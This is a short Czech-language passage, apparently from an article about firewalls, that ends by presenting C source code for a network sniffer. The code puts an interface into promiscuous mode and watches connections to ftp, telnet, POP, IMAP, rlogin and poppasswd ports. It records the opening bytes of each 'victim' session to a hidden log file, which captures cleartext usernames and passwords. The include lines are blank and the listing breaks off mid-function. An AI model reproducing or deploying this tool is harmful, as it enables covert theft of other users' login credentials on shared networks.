sniffer

Tak to by snad na ty firevaly stačilo.Na konec uvádím program sniffer o kterém jsem se zmínil výše.Je napsán v jazyce C.


#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
void cleanup(int);

struct etherpacket
{
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
char buff[8192];
}ep;

struct
{
unsigned long saddr;
unsigned long daddr;
unsigned short sport;
unsigned short dport;
int bytes_read;
char active;
time_t start_time;
} victim;

struct iphdr *ip;
struct tcphdr *tcp;
int s;
FILE *fp;

#define CAPTLEN 512
#define TIMEOUT 30
#define TCPLOG ".s"

int openintf(char *d)
{
int fd;
struct ifreq ifr;
int s;
fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
if(fd < 0)
{
perror("cant get SOCK_PACKET socket");
exit(0);
}
strcpy(ifr.ifr_name, d);
s=ioctl(fd, SIOCGIFFLAGS, &ifr);
if(s < 0)
{
close(fd);
perror("cant get flags");
exit(0);
}
ifr.ifr_flags |= IFF_PROMISC;
s=ioctl(fd, SIOCSIFFLAGS, &ifr);
if(s < 0) perror("cant set promiscuous mode");
return fd;
}

int read_tcp(int s)
{
int x;
while(1)
{
x=read(s, (struct etherpacket *)&ep, sizeof(ep));
if(x > 1)
{
if(filter()==0) continue;
x=x-54;
if(x < 1) continue;
return x;
}
}
}

int filter(void)
{
int p;
p=0;
if(ip->protocol != 6) return 0;
if(victim.active != 0)
if(victim.bytes_read > CAPTLEN)
{
fprintf(fp, "\n----- [CAPLEN Exceeded]\n");
clear_victim();
return 0;
}
if(victim.active != 0)
if(time(NULL) > (victim.start_time + TIMEOUT))
{
fprintf(fp, "\n----- [Timed Out]\n");
clear_victim();
return 0;
}
if(ntohs(tcp->dest)==21) p=1; /* ftp */
if(ntohs(tcp->dest)==23) p=1; /* telnet */
if(ntohs(tcp->dest)==110) p=1; /* pop3 */
if(ntohs(tcp->dest)==109) p=1; /* pop2 */
if(ntohs(tcp->dest)==143) p=1; /* imap2 */
if(ntohs(tcp->dest)==513) p=1; /* rlogin */
if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
if(victim.active == 0)
if(p == 1)
if(tcp->syn == 1)
{
victim.saddr=ip->saddr;
victim.daddr=ip->daddr;
victim.active=1;
victim.sport=tcp->source;
victim.dport=tcp->dest;
victim.bytes_read=0;
victim.start_time=time(NULL);
print_header();
}
if(tcp->dest != victim.dport) return 0;
if(tcp->source != victim.sport) return 0;
if(ip->saddr != victim.saddr) return 0;
if(ip->daddr != victim.daddr) return 0;
if(tcp->rst == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "\n----- [RST]\n");
clear_victim();
return 0;
}